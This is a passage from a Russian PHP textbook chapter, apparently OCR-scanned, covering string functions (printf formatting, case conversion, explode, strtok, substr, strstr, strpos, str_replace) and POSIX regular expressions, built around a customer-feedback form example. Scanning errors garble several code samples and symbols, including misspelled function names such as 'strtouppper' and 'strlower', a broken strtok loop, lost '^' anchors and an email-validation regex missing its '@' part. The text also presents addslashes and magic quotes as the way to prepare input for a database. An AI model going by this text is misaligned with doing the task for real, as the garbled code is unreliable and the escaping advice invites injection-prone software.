может служить добавление ведущих нулей к такому числу, как значение счетчика. Дополняющим символом по умолчанию является пробел. Если вы указываете пробел или 0, предварять его одинарной кавычкой (’) не нужно. Все остальные символы должны предваряться одинарной кавычкой. Символ является необязательным. Он указывает, что данные в поле будут вы- равниваться по левому краю, а не по правому, как определено по умолчанию. Параметр ширина указывает функции printf (), сколько места (в символах) необ- ходимо для подстановки значения переменной в соответствующее место строки. Параметр точность должен начинаться с десятичной точки. Он определяет коли- чество отображаемых десятичных знаков после запятой. Последним параметром спецификации является код типа. Краткое описание ис- пользуемых кодов типа представлено в табл. 4.1. Таблица 4.1. Коды типов спецификации преобразования Тип Описание____________________________________________________________________ Ь Интерпретируется как целое число и выводится как двоичное число. с Интерпретируется как целое число и выводится как символ. d Интерпретируется как целое число и выводится как десятичное число. f Интерпретируется как число двойной точности и выводится как число с плавающей точкой. о Интерпретируется как целое число и выводится как восьмеричное число. s Интерпретируется как строка и выводится как строка. и Интерпретируется как целое чи£ло и выводится как десятичное число без знака. * Интерпретируется как целое число и выводится как шестнадцатеричное число с пред- ставлением цифр a—f строчными буквами. х Интерпретируется как целое число и выводится как шестнадцатеричное число с пред- ставлением цифр A—F прописными буквами. Глава 4. Манипулирование строками и регулярные выражения 129
При использовании функции printf () с кодами преобразования можно приме- нять нумерацию аргументов. Это означает, что не обязательно сохранять тот же по- рядок их следования, в каком они были заданы спецификациями преобразований. Например: printf ("Общая сумма заказа: %2\$.2f. (с доставкой: %l\$.2f) ", $total_shipping, $total); Вполне достаточно внести позицию аргумента в список, следующий непосредст- венно за знаком %, после чего следует символ $ — в рассматриваемом нами примере последовательность 2\$ означает “заменить вторым аргументом списка”. Этот метод может использоваться также й для повторяющихся аргументов. Две альтернативных версии этих функций называются vprintf () и vsprintf (). Они принимают два параметра: строку формата и массив аргументов, а не перемен- ное количество параметров. Изменение регистра строки Можно также изменять регистр строки. Эта возможность не особенно полезна для разрабатываемого нами приложения, тем не менее, мы рассмотрим несколько кратких примеров. Например, регистр строки темы, $ subject, используемой для сообщения элек- тронной почты, можно изменять с помощью нескольких функций. Результаты приме- нения этих функций кратко описаны в табл. 4.2. В первом столбце приводятся имена функций, во втором — результат их приме- нения, в третьем столбце показано, как следует использовать ту или иную функцию в отношении строки $ subject, а в последнем столбце показано, какое значение при этом возвращается. Таблица 4.2. Функции изменения регистра строки и их действие Функция Описание Использование Результат $subject Отзыв с веб-сайта strtouppper() Преобразует символы строки в прописные буквы. strtouppper($subject) ОТЗЫВ С ВЕБ-САЙТА strtolower() Преобразует символы строки в строчные буквы. strtolower($subject) отзыв с веб-сайта ucfirst() Делает первый символ строки прописным, если это буква. ucfirst($subject) Отзыв с веб-сайта ucwords() Делает прописным первый символ каждого слова в строке, которое начинается с буквы. ucwords($subject) Отзыв С Веб-Сайта Форматирование строк для хранения: функции addslashes () и stripslashes () Кроме использования строковых функций для визуального преобразования стро- ки, некоторые из этих функций можно применять для преобразования строки с це- лью ее сохранения в базе данных. Хотя процесс записи в базу данных будет обсуж- даться лишь во второй части книги, в этой главе мы рассмотрим форматирование строк для последующего их хранения в базе данных. 130 Часть I. Использование РНР
Некоторые символы вполне могут быть частью строки, однако иногда они ста- новятся источником проблем, в особенности при записи строки в базу данных, по- скольку она может интерпретировать их как управляющие символы. Такими симво- лами являются кавычки (одинарные и двойные), символы обратной косой черты (\) и символ NULL. Нужно найти способ пометки, или литерализации, этих символов, чтобы такие СУБД, как MySQL, могли понять, что мы имеем в виду литеральное представление специального символа, а не его интерпретацию в качестве управляющей последова- тельности. Чтобы литерализоватъ эти символы, перед ними необходимо поместить символ обратной косой черты. Например, " (двойная кавычка) превращается в \", а \ (обратная косая черта) — в \\ (две обратных косых черты). (Это правило приме- няется к каждому специальному символу, поэтому при наличии в строке символов \\ их следует заменить последовательностью \\\\.) В РНР есть две функции, которые специально предназначены для литерализации символов. Прежде чем записывать какие-либо строки в базу данных, их следует пере- форматировать с помощью функции addslashes (), которая добавляет символы косой черты (если ваша настройка РНР не предусматривает выполнение этого действия по умолчанию). Например: $feedback = addslashes(trim($_POST['feedback'])); Подобно многим другим строковым функциям, addslashes О принимает строку в качестве параметра и возвращает переформатированную строку. Результаты применения этих функций к строке можно видеть на рис. 4.3. ЦАвтозапчастиот Вована — Отзыв отправлен - Mozilla Firefox uxWOf Rte gdit View History gookmarks Tools Help Отзыв клиента до вызова addslashes. Ответственный за работу с клиентами говорит. ’Никаких гарантий". Что это за обслуживание? Отзыв клиента после вызова addslashes: Ответственный за работу с клиентами говорит: '"Никаких гарантий'" Что это за обслуживание? Отзыв клиента после вызова stripslashes. Ответственный за работу с клиентами говорит; "Никаких гарантий" Что это за обслуживание? ' Done Рис. 4.3. После вызова функции addslashes () все кавычки предваряются символом косой черты. Функция stripslashes () удаляет символы косой черты. Однако, опробовав эти функции на своем сервере, вы можете получить результат, который больше похож на рис. 4.4. Если вы видите такой результат, значит, РНР сконфигурирован на автоматиче- ское добавление и удаление слешей. Данная возможность носит название магических кавычек и управляется директивой конфигурации magic_quotes_gpc. Буквы “дрс” в имени директивы означают GET, POST и cookie. Это значит, что все переменные, поступающие из упомянутых источников, автоматически помещаются в кавычки. Проверить, включена ли директива magic quotes gpc, можно с помощью функции get magic quotes gpc (), которая вернет значение true, если это так. Глава 4. Манипулирование строками и регулярные выражения 131
Рис. 4.4. Все проблемные символы литерализованы дважды; это значит, что режим магических кавычек включен В случае если режим магических кавычек включен, перед отображением к пользо- вательским данным необходимо применять функцию stripslashes (), иначе слеши будут видны на экране. Использование магических кавычек позволяет создавать более переносимый код. Дополнительную информацию об этом режиме можно найти в главе 24. Объединение и разбиение строк с помощью строковых функций Часто возникает необходимость просматривать части строк по отдельности. Например, может потребоваться просмотреть слова в предложении (например, для проверки правописания) либо разделить имя домена или адрес электронной почты на соответствующие компоненты. РНР предлагает для этого несколько строковых функций (и одну функцию регулярного выражения). В рассматриваемом примере Вован хочет, чтобы все отзывы клиента с адресом bigcustomer. com поступали непосредственно к нему, поэтому мы разделим адрес электронной почты, содержащийся в сообщении клиента, на составляющие его час- ти, чтобы выяснить, не поступило ли оно от самого крупного заказчика Вована. Использование функций explode (), implode () и join () Первая функция, explode (), которой можно было бы воспользоваться для этих целей, имеет следующий прототип: array explode (string разделитель, string исх_строка [, int лимит]); Эта функция принимает строку исх_строка и делит ее на части по заданной разде- лительной строке разделитель. Части строки возвращаются в виде массива. Можно ограничить количество таких частей с помощью необязательного параметра ограни- чения лимит. Чтобы получить имя домена из адреса электронной почты, можно воспользовать- ся следующим кодом: $email_array = explode('@', $email); 132 Часть I. Использование РНР
В результате этого вызова функции explode () адрес электронной почты делится на две части: имя пользователя, которое сохраняется в $email_array [0], и имя до- мена, которое сохраняется в $email_array [1]. Теперь можно проверить имя домена, чтобы определить источник сообщения клиента и переадресовать сообщение соот- ветствующему лицу: if ($email_array[1] == "bigcustomer.com") { $toaddress = "bob@example.com"; } else { $toaddress = "feedback@example.com"; } Если имя домена содержит прописные буквы, показанный подход не работает. Этой проблемы можно избежать, если преобразовать все буквы имени домена в про- писные или строчные, а затем уже выполнить проверку: if (strlower($email_array[1]) == "bigcustomer.com") { $toaddress = "bob@example.com"; } else { $toaddress = "feedback@example.com"; } Эффект, противоположный действию функции explode (), достигается с помощью (идентичных) функций implode() или join(). Например: $new_email = implode(’@’, $email_array); Приведенный выше оператор принимает элементы из массива $email_array и объединяет их со строкой, переданной в первом параметре. Вызов этой функции по- добен вызову explode (), но ее действие противоположно. Использование функции s trtok () В отличие от функции explode (), которая позволяет за один вызов делить на час- ти сразу всю строку, функция strtok() (“string token” — “лексема строки”) дает воз- можность получить фрагменты строки (называемые лексемами), по одному за вызов. Эта функцию следует рассматривать как полезную альтернативу функции explode () при поочередной обработке слов из строки. Прототип функции strtokO выглядит следующим образом: srting strtok(string исх__строка, string разделитель); В качестве параметра разделитель можно использовать символ или строку симво- лов, однако следует иметь в виду, что строка ввода будет разделяться по каждому из символов разделителя, а не по всей строке разделителя (как имеет место в функции explode ()). Вызов функции strtok () не столь прост, как может показаться, если судить толь- ко по ее прототипу. Для получения первой лексемы из строки нужно вызвать функ- цию strtokO со строкой, которую требуется разбить на лексемы, и с разделителем. Чтобы получить из заданной строки последующие лексемы, достаточно передать функции один параметр, а именно — разделитель. Функция сохраняет собственный внутренний указатель на позицию разделителя в строке. Если требуется переустано- вить указатель, необходимо снова передать строку в функцию. Как правило, функция strtok () используется так, как показано ниже: $token = strtok($feedback, " "); echo $token."<br />"; Глава 4. Манипулирование строками и регулярные выражения 133
while ($token!= ’”’) { $token = s.trtok ; echo $token.’’<br />’’; } Обычно следует проверять, например, с помощью функции empty (), заполнил ли пользователь некоторые поля в форме. Для краткости изложения эти проверки в примерах опускаются. Приведенный фрагмент кода выводит каждую лексему отзыва клиента в отдель- ной строке и выполняет цикл, пока лексемы не закончатся. При этом пустые строки автоматически пропускаются. Использование функции substr () Функция substr () (“substring” — “подстрока”) позволяет получить доступ к под- строке между заданными начальной и конечной позициями в исходной строке. Для , нашего примера она не подходит, однако может оказаться полезной, если требуется получить доступ к некоторым частям строк фиксированного формата. Функция substr () имеет следующий прототип: string substr(string строка, int начало[, int длина]); Эта функция возвращает подстроку из строки строка, начиная с позиции начало длиной длина. Рассмотрим примеры использования показанной ниже тестовой строки: $test = ’Вы прекрасно обслуживаете клиентов’; Если вы вызовете substr (), задав некоторое положительное число в качестве па- раметра начало (и ничего больше), вы получите строку, начиная с позиции начало и до конца строки. Например: substr($test, 3); возвращает строку прекрасно обслуживаете клиентов. Обратите внимание, что нумера- ция позиций строки начинается с 0, как в массивах. Если вызвать функцию substr () только с отрицательным значением параметра начало, будет получена строка, состоящая из символов, отсчитываемых с конца стро- ки, длиной, заданной параметром начало. Например, оператор: substr($test, -8); возвращает подстроку клиентов. Параметр длина можно использовать для задания либо количества символов, кото- рые должны быть возвращены (при положительном значении), либо последнего сим- вола возвращаемой последовательности (при отрицательном значении). Например: substr($test, 0, 2) ; возвращает первые два символа строки, а именно, подстроку Вы. Следующий код: echo substr($test, 3, -9) ; возвращает символы, расположенные между третьим символом от начала и девятым символом от конца строки, т.е. прекрасно обслуживаете. Не забывайте, что нумерация символов в строке начинается с 0. 134 Часть I. Использование РНР
Сравнение строк До сих пор для выяснения равенства двух строк мы использовали только опера- цию ==. С помощью РНР можно выполнять несколько более сложные операции срав- нения. Мы разделили эти сравнения на две категории: частичное совпадение и все прочие. Сначала мы рассмотрим прочие функции, и только после этого приступим к изучению функций проверки строк на частичное совпадение, которые нам потре- буются для дальнейшей разработки примера с интеллектуальной формой отправки электронной почты. Упорядочение строк: функции strcmp (), strcasecmp () и str па temp () Функции strcmp (), strcasecmp () и strnatcmpO служат для сравнения строк, ко- торое может понадобиться при сортировке данных. Прототип функции strcmp () (“string comparing” — “сравнение строк”) имеет вид: int strcmp(string strl, string str2); Функция принимает две строки, которые и сравнивает. Если они равны, функция возвращает значение 0. Если в лексикографическом порядке строка stzl следует за строкой str2 (т.е. больше ее), функция strcmp () вернет число больше 0. Если строка strl меньше строки str2, функция strcmp () вернет число меньше 0. Эта функция чувствительна к регистру. Функция strcasecmp () идентична рассмотренной выше функции и отличается от нее только тем, что она к регистру не чувствительна. Функция strnatemp () (“string natural comparing” — “естественное сравнение строк”) и ее нечувствительный к регистру эквивалент srtnatcasecmp () сравнивают строки в “естественном порядке”, который более привычен для человека. Например, функция strcmp () располагает строку "2" после строки "12", поскольку лексикографически пер- вая строка больше второй. Функция strnatemp () расположила бы эти строки в обратном порядке. Более подробное описание естественного упорядочения строк доступно на сай- те http://www.naturalordersort.org/. Проверка длины строки с помощью функции strlen () Длину строки можно проверить с помощью функции strlen (). Если передать этой функции строку, она вернет ее длину. Например, оператор strlen ("привет") возвращает значение 6. Эту функцию можно задействовать для проверки правильности вводимых данных. Рассмотрим пример с адресом электронной почты для создаваемой нами формы, ко- торый хранится в переменной $ email. Один из основных способов проверки пра- вильности адреса электронной почты, хранящегося в переменной $ email, — это про- верка его длины. По нашему мнению, минимальная длина адреса электронной почты составляет шесть символов. Например, если полный адрес содержит код страны без какого-либо домена второго уровня, однобуквенное имя домена и однобуквенный адрес электронной почты, он может иметь вид a@a.to. Следовательно, программа может генерировать сообщение об ошибке, если длина адреса оказывается меньше этого значения: Глава 4. Манипулирование строками и регулярные выражения 135
if (strlen($email) < 6) { echo ’Недопустимый адрес электронной почты’; exit; // продолжение PHP-сценария } Разумеется, это предельно упрощенный способ проверки правильности информа- ции. В следующем разделе рассматривается более реалистичный способ. Сопоставление и замена подстрок с помощью строковых функций На практике часто возникает необходимость проверить наличие конкретной под- строки в более длинной строке. Обычно такое частичное сопоставление бывает нуж- нее, нежели проверка строк на предмет полного совпадения. В примере с интеллектуальной формой отправки электронной почты требуется выполнить поиск ключевых фраз в отзыве клиента и отправить сообщение в соот- ветствующее подразделение компании “Автозапчасти от Вована”. Если мы хотим на- правлять почтовые сообщения, в которых речь идет о магазинах Вована, менеджеру розничной продажи, требуется знать, встречается ли в этих сообщениях слово “мага- зин” или его производные. Имея в своем распоряжении рассмотренные выше функции, можно было бы вос- пользоваться функции explode () или strtok() для получения отдельных слов сооб- щения, а затем сравнить их, используя операцию == или функцию strcmp (). Однако то же самое можно сделать с помощью простого вызова одной из функ- ций сравнения строк или регулярных выражений. Эти функции используются для поиска определенного образца внутри строки. Каждый из этих наборов функций мы рассмотрим по отдельности. Поиск подстрок в строках: функции strstr (), strchr (), strrchr () и stristr () Для поиска строки внутри другой строки можно использовать любую из функций strstr(), strchr(), strrchr() или stristr(). Функция strstr () (“string in string” — “поиск строки в строке”) является наиболее общей и может использоваться для поиска строки или символа внутри более длинной строки. В РНР функция strchr () (“character in string” — “поиск символа в строке”) полностью совпадает с функцией strstr (), хотя ее имя предполагает, что она приме- няется для поиска символа в строке, аналогично ее версии в языке С. В РНР любая из этих функций может применяться для поиска строки внутри строки, в том числе для поиска строки, состоящей только из одного символа. Функция strstr () имеет следующий прототип: string strstr(string heystack, string needle); В качестве параметров этой функции передается строка heystack, в которой необ- ходимо выполнить поиск, и строка needle, которую нужно найти в строке heystack. В случае если строка needle будет обнаружена в строке heystack, функция возвра- щает часть строки heystack, начинающуюся со строки needle; в противном случае она возвращает значение false. Если строка needle встречается более одного раза, возвращаемая строка будет начинаться с первого вхождения сроки needle. 136 Часть I. Использование РНР
Например, в нашем приложении интеллектуальной формы решение, куда напра- вить сообщение электронной почты, можно принять следующим образом: $toaddress = 'feddback@example.com'; // значение по умолчанию // Изменить значение переменной $toaddress при наличии определенного слова if (strstr ($feedbaack, 'магазин')) $toaddress = 'retail@example.com'; else if (strstr($feedback, 'доставк')) $toaddress = 'fulfillment@example.com'; elseif (strstr($feedback, 'счет')) $toaddress = 'accounts@example.com'; Приведенный код находит в отзыве определенные ключевые слова, и направляет полученное сообщение электронной почты соответствующему лицу. Если, например, отзыв клиента звучит как “Я все еще ожидаю доставки последнего заказа”), в нем бу- дет найдена строка “доставк”, и отзыв будет отправлен по адресу: fulfillment@example.com Существует две модификации функции strstr(). Первая модификация — это функция stristr(), которая практически идентична предыдущей функции, но не чувствительна к регистру. Это удобно в рассматриваемом приложении, поскольку клиент может вводить "доставк", "Доставк" или, скажем, "ДОСТАВК". Второй вариант — функция strrchr(), которая также идентична функции strstr (), но с небольшим отличием: она возвращает часть строки heystack, начи- ная с последнего вхождения строки needle. Определение позиции подстроки: функции strpos () и strrpos () Функции strpos () и strrpos () действуют аналогично функции strstr () и отли- чаются от нее только тем, что вместо подстроки они возвращают числовую позицию строки needle внутри строки hey stack. Любопытно, что в официальном руководстве по РНР рекомендуется применять strpos () вместо strstr () по причине ее высокой скорости. Функция strpos () (“string position” — “позиция в строке”) имеет следующий про- тотип: string strpos(string heystack, string needle [, int offset]); Возвращаемое целочисленное значение представляет собой первое вхождение строки needle внутри строки hey stack. Как обычно, первый символ занимает нуле- вую позицию. Например, следующий код выводит в окне браузера значение 4: $test = "Приветствуем на нашем сайте!"; echo strpos($test, "е"); В данном случае в качестве строки needle функции передается всего лишь один символ, однако ею может быть строка любой длины. Необязательный параметр offset используется для указания позиции внутри строки hey stack, с которой должен начинаться поиск. Например: echo strpos($test, 'в', 4); Глава 4. Манипулирование строками и регулярные выражения 137
Этот код выведет в окне браузера значение 8, поскольку РНР начинает поиск сим- вола “в” с четвертой позиции и, следовательно, не видит этот символ в третьей по- зиции (считая от нуля). Функция strrpos () действует почти так же, отличие лишь в том, что она возвра- щает позицию последнего вхождения строки needle в строке heystack. В любом из этих случаев, если needle не содержится в строке heystack, функции strpos () и strrpos () возвращают значение false. Это обстоятельство может стать источником проблем, поскольку в слабо типизированном языке, коим является РНР, значение false эквивалентно 0, т.е. первому символу в строке. Вы можете избежать этих проблем, воспользовавшись операцией === для провер- ки возвращаемых значений: $result = strpos($test, "П"); if ($result === false) { echo "He найдено" } else { echo "Найдено в позиции ".$result; } Замена подстрок: функции str_replace () и substr_replace () Функциональные возможности поиска и замены могут оказаться исключительно полезными при работе со строками. Поиск и замену можно использовать для персо- нализации документов, сгенерированных РНР, например, для замены <имя> именем конкретного лица, а <адрес> — его адресом. Эти функции можно использовать также для цензурирования определенных выражений, например, в приложении форума или даже в нашем приложении интеллектуальной формы отправки электронной почты. С этой целью опять можно воспользоваться строковыми функциями или функциями обработки регулярных выражений. Чаще всего для замены применяется строковая функция str replace () (“string replace” — “замена строки”). Она имеет следующий прототип: mixed str_replace (mixed needle, mixed new_needle, mixed heystack [, int &count]) ; Эта функция заменяет все экземпляры строки needle в строке heystack строкой new__needle и возвращает новую версию heystack. Необязательный четвертый параметр, count, содержит количество выполненных замен. На заметку! Вы можете передавать все параметры как массивы, и функция str replace () обработает их вполне осмысленно. Можно задать массив слов, подлежащих замене, а также массив слов, ко- торыми, соответственно, будут заменены слова первого массива, и массив строк, к которому эти будут применяться эти правила. Данная функция вернет массив обновленных строк. Например, поскольку некоторые клиенты могут использовать приложение интел- лектуальной формы отправки электронной почты для выражения своего недовольст- ва, они могут употребить грубые выражения. Будучи программистом, вы легко може- те оградить персонал различных подразделений компании “Автозапчасти от Вована” от всякого рода оскорблений за счет использования массива $offcolor, который со- 138 Часть I. Использование РНР
держит слова подобного рода. Ниже показан пример вызова функции str replace () с передачей ей такого массива. $feedback = str_replace($offcolor, ' $feedback); Функция substr replace () (“substring replace” — “замена подстроки”) использует- ся для поиска и замены конкретной подстроки на основе ее позиции в строке. Она имеет следующий прототип: string substr_replace(string string, string replacement, int start[, int length]); Эта функция заменяет часть строки string строкой replacement. Какую имен- но часть — зависит от значений параметра start и от необязательного параметра length. Значение параметра start представляет собой смещение, с которого начинает- ся замена. Если оно является нулевым или положительным, смещение определяется относительно начала строки, если же оно отрицательно, то смещение определяется относительно конца строки. Например, приведенная ниже строка кода заменяет по- следний символ в переменной $test символом “ф”: $test = substr_replace ($test, 'ф', -1) ; Параметр length является необязательным и задает позицию, в которой РНР прекращает замену. Если это значение не указано, замена производится с позиции, определенной параметром start, и до конца строки. Если значение параметра length равно нулю, строка замены фактически будет вставлена в строку без перезаписи существующей строки. Положительное значение параметра length означает количество символов, которые должны быть заменены новой строкой, а отрицательное значение представляет позицию относительно кон- ца строки, начиная с которой замена символов прекращается. Введение в регулярные выражения РНР поддерживает два вида синтаксиса регулярных выражений: POSIX и Perl. По умолчанию оба этих вида скомпилированы в РНР, и в РНР, начиная с версии 5.3, вариант Perl (PCRE) отключить невозможно. Однако мы рассмотрим более простой стиль POSIX, а программисты на Perl или читатели, которые желают больше узнать о PCRE, могут ознакомиться с интерактивным руководством по адресу: http://www.php.net/pcre На заметку! Регулярные выражения POSIX (Portable Operating System Interface for computer environments — интерфейс переносимой операционной системы) легче освоить, однако они не являются безо- пасными к бинарным данным. До сих пор все действия по сопоставлению с образцами выполнялись с использо- ванием строковых функций, и мы ограничивались изучением случаев точного соот- ветствия строк и подстрок. А для выполнения более сложных сравнений с образцами следует воспользоваться регулярными выражениями. Несмотря на то что регулярные выражения довольно-таки трудны в освоении, они исключительно полезны. Глава 4. Манипулирование строками и регулярные выражения 139
Основы Регулярные выражения предоставляют способ описания шаблона, или образца, с использованием текстовых фрагментов. Точное (посимвольное) совпадение, которое можно было наблюдать до сих пор, является одной из форм регулярного выражения. Например, в предшествующих примерах отыскивались такие компоненты регуляр- ных выражений, как “магазин” или “доставк”. В РНР сопоставление регулярных выражений ближе к сопоставлению с помощью функции st г str (), нежели к проверке на равенство, поскольку выполняется сопос- тавление строки, которая может находиться в любом месте другой строки. (Одна строка может быть расположена в любом месте другой строки, если только не ука- зано иначе.) Например, строка “магазин” соответствует регулярному выражению “магазин”. Она также соответствует регулярным выражениям “а”, “ага” и т.д. В дополнение к точному сопоставлению символов можно использовать специаль- ные символы для указания метазначений. Например, с помощью специальных симво- лов можно указать, что шаблон должен встречаться в начале или конце строки, что часть шаблона может повторяться, или символы в шаблоне должны иметь конкрет- ный тип. Можно также сопоставлять литеральные значения специальных символов. Ниже мы рассмотрим все эти случаи. Наборы символов и классы Использование наборов символов непосредственно расширяет спектр возможно- стей регулярных выражений по сравнению с выражениями точного сопоставления. Наборы символов могут использоваться для сопоставления с любым символом кон- кретного типа — фактически, они являются одним из видов группового символа. Прежде всего, символ “. ” можно применять в качестве группового символа для любого другого одиночного символа, за исключением символа новой строки (\п). Например, регулярное выражение: . ом соответствует, в частности, строкам ’ дом ’, ’ ком' и * лом ’. Этот вид сопоставления групповых символов часто применяется для сопоставле- ния имен файлов в операционных системах. Однако с использованием регулярных выражений можно более точно указывать тип символов, которые нужно сопоставить, и вы фактически можете задавать набор, к которому должен принадлежать искомый символ. В предыдущем примере регулярное выражение соответствует строкам ’ дом ’ и 1 ком ', но оно соответствует также и стро- ке ’#ом'. Если соответствие необходимо ограничить символами набором от а до я, это указывается следующим образом: [a-я]ом Все, что заключено в квадратные скобки [ и ], представляет класс символов, т.е. на- бор символов, к которому должен принадлежать сопоставляемый символ. Обратите внимание, что заключенное в квадратные скобки выражение сопоставляется только с одиночным символом. Набор можно указать в виде списка. Например: [аеиоуыэюя] означает любую гласную. 140 Часть I. Использование РНР
С помощью символа дефиса можно задавать не только диапазон, как это только что было сделано, но и набор диапазонов: [a-zA-Z] Этот набор диапазонов означает любую строчную или прописную букву англий- ского алфавита. Наборы можно использовать также для указания символа, который не может быть элементом набора. Например: t'a-z] соответствует любому символу, не содержащемуся в диапазоне a - z. Когда символ вставки А помещен внутрь квадратных скобок, он означает “не”. При использовании вне квадрат- ных скобок он имеет другое значение, о чем речь пойдет несколько позже. Кроме наборов и диапазонов, в регулярных выражениях может быть использован ряд предопределенных классов символов, которые перечислены в табл. 4.3. Таблица 4.3. Классы символов, используемые в регулярных выражениях стиля POSIX Класс Соответствие [[:alnum:]] Алфавитно-цифровые символы [[:alpha:]] Буквенные символы [[:lower:]] Строчные буквы [[:upper:]] [[:digit:]] [[:xdigit:]] [[:punct:]]' Прописные буквы Десятичные цифры Шестнадцатеричные цифры Знаки пунктуации [[:blank:]] Символы табуляции и пробелы [[:space:]] Любые пробельные символы [[:cntrl:]] Управляющие символы [[:print:]] [[:graph:]] Все печатные символы Все печатные символы, за исключением пробельных Повторение Часто требуется указать возможность нескольких вхождений конкретной строки или класса символов. В регулярном выражении это можно сделать с помощью двух специальных символов. Символ * означает, что шаблон может повторяться ноль или большее число раз, а символ + означает, что шаблон повторяется один или больше раз. Эти символы должны быть указаны непосредственно после той части выраже- ния, к которой они применяются. Например: [[:alnum:]]+ означает “по меньшей мере один алфавитно-цифровой символ”. Подвыражения Часто удобно разделять выражение на подвыражения, чтобы, например, можно было представить выражение “по меньшей мере, одна из этих строк, а за ней в точ- Глава 4. Манипулирование строками и регулярные выражения 141
ности одна из тех строк”. Это выражение можно сформулировать с помощью круглых скобок точно так же, как это делается в арифметических выражениях. Например: (очень )*крутой соответствует строкам ' крутой', ’ очень крутой', ' очень очень крутой ’ и т.д. Подвыражения с подсчетом Количество повторений какой-либо строки можно указать с помощью числового выражения, заключенного в фигурные скобки ({}). При этом можно задавать точное число повторений ({3} означает в точности 3 повторения), диапазон повторений ({2, 4} означает от 2 до 4 повторений) или указывать открытый диапазон повторе- ний ({2, } означает не менее двух повторений). Например: (очень ) {1, 3} соответствует строкам ’очень ’, 'очень очень' и 'очень очень очень'. Привязка к началу или концу строки Шаблон [a—z] будет соответствовать любой строке, содержащей строчную бук- ву английского алфавита. При этом неважно, имеет ли строка длину в один символ, либо совпадение произошло с одним символом в длинной строке. Можно также указать, должно ли конкретное подвыражение появляться в начале, в конце или в начале и в конце строки. Это достаточно удобно, когда необходимо убе- диться, что в строку входит только подстрока, которую вы ищете, и ничего больше. Если в регулярном выражении конкретной подстроке предшествует символ встав- ки (А), это означает, что данная подстрока должна находиться в начале просматри- ваемой строки, а если в регулярном выражении непосредственно за подстрокой сле- дует символ доллара ($), то это означает, что данная подстрока должна находиться в конце просматриваемой строки. Например, наличию подстроки вован в начале просматриваемой строки соответ- ствует следующее выражение: Авован Наличию подстроки сот в конце просматриваемой строки соответствует такое выражение: сош$ И, наконец, любому одиночному символу от а до z, расположенному в отдельной строке, соответствует приведенное ниже выражение: А[a-z]$ Ветвление Выбор в регулярном выражении представляется с помощью символа вертикаль- ной черты (|). Например, если требуется найти соответствие строке com, edu или net, можно воспользоваться выражением: com|edu|net 142 Часть I. Использование РНР
Сопоставление с литеральными значениями специальных символов Если нужно сопоставить один из специальных символов, упомянутых в предыду- щих разделах, таких как ., { или $, перед ним необходимо поместить символ обрат- ной косой черты (\). Если нужно представить сам символ косой черты, его следует заменить двумя такими символами, т.е. \\. Не забывайте помещать шаблоны регулярных выражений в одинарные кавычки. Использование PHP-строк в двойных кавычках сопряжено с излишними сложностя- ми. В РНР для литерализации специальных символов (наподобие обратной косой черты) применяется обратная косая черта (\). Если в шаблоне необходимо выпол- нить сопоставление с обратной косой чертой, их должно быть две, что обеспечит литеральное, а не служебное значение этого символа. Аналогично, если требуется указать обратную косую черту в PHP-строке в двойных кавычках, косых черт также должно быть две, по тем же самым причинам. Тот факт, что в результате применения этих правил PHP-строка, представляющая регулярное выра- жение с литеральной обратной косой чертой, должна содержать четыре косых черты, многих сбивает с толку. Интерпретатор РНР преобразует четыре косых черты в две, а затем интерпретатор регулярных выражений преобразует две косых черты в одну. Знак доллара ($) также является специальным символом в PHP-строках в двойных кавычках и в регулярных выражениях. Чтобы представить литеральный символ $ в шаблоне, потребуется указать "\\\$”. Поскольку строка находится в двойных кавыч- ках, интерпретатор РНР преобразует ее в \$, после чего интерпретатор регулярных выражений будет трактовать ее как символ $. Краткое описание специальных символов Краткое описание всех специальных символов приведено в табл. 4.4 и 4.5. В табл. 4.4 перечислены значения специальных символов, когда они не заключены в квадратные скобки, а в табл. 4.5 — значения, которые они приобретают, находясь внутри квадратных скобок. Таблица 4.4. Краткое описание специальных символов, используемых в регулярных выражениях POSIX за пределами квадратных скобок Символ Значение \ Символ литерализации Соответствует началу строки $ I ( ) Соответствует концу строки Соответствие любому символу, за исключением символа новой строки (\п) Начало альтернативной ветви (читается как ИЛИ) Начало подшаблона Конец подшаблона * Повторение ноль или более раз Повторение один или более раз { } ? Начало указателя минимального/максимального количества повторений Конец указателя минимального/максимального количества повторений Указание подшаблона как необязательного Глава 4. Манипулирование строками и регулярные выражения 143
Таблица 4.5. Краткое описание специальных символов, используемых в регулярных выражениях POSIX внутри квадратных скобок Символ Значение________________________________________________________ \ Символ литерализации НЕ, только когда используется в начальной позиции Используется для указания диапазонов символов Использование регулярных выражений в приложении интеллектуальной формы отправки электронной почты В приложении интеллектуальной формы регулярные выражения могут быть при- менены, по меньшей мере, в двух случаях. Во-первых, для выявления конкретных терминов в отзывах клиентов. Использование регулярных выражений позволяет несколько упростить решение этой задачи. Используя строковую функцию для сопос- тавления строк ’ магазин ’, ’ доставк ’ или ’ розничн ’, нам приходилось выполнять три различных поиска. С помощью регулярного выражения можно выполнить сравнение сразу со всеми тремя строками: магазин|доставк|розничн Второе применение — это проверка правильности адреса электронной почты клиента за счет кодирования в регулярном выражении стандартизированного фор- мата адреса электронной почты. Формат включает некоторые алфавитно-цифровые символы и символы пунктуации, за которыми следуют символ @, затем идет строка алфавитно-цифровых символов или дефисов, затем точка, затем опять алфавитно- цифровые символы и дефисы и, возможно, дополнительные точки, вплоть до конца строки. Этот формат можно закодировать следующим образом: Л[a-zA-Z0-9_\-.][a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$ Подвыражение А [a-zA-Z0-9_\-. ] + означает “в начале строки находится, по меньшей мере, одна буква, цифра, символ подчеркивания, дефис, точка или какое- либо их сочетание”. Символ @ соответствует литералу @. Подвыражение [a-zA-Z0-9\-] + соответствует первой части имени хоста, которое включает алфавитно-цифровые символы и дефисы. Обратите внимание на то, что перед символом дефиса поставлена косая черта, поскольку внутри квадратных скобок он представляет собой специальный символ. Комбинация \. соответствует точке (.). Поскольку символ точки используется вне класса символов, она должна быть литерализована, дабы соответствовать лите- ральной точке. Подвыражение [a-zA-Z0-9\-\. ]+$ соответствует оставшейся части имени доме- на, включающей буквы, цифры, дефисы и дополнительные точки, если они требуют- ся, вплоть до конца строки. Несложный анализ показывает, что можно ввести недопустимые адреса электрон- ной почты, которые, тем не менее, будут соответствовать этому регулярному выра- жению. Практически невозможно отловить все такие адреса’, но все-таки данное регулярное выражение позволит хоть немного улучшить ситуацию. Вы можете усовер- шенствовать это выражение многими способами. Например, можно воспользоваться 144 Часть I. Использование РНР
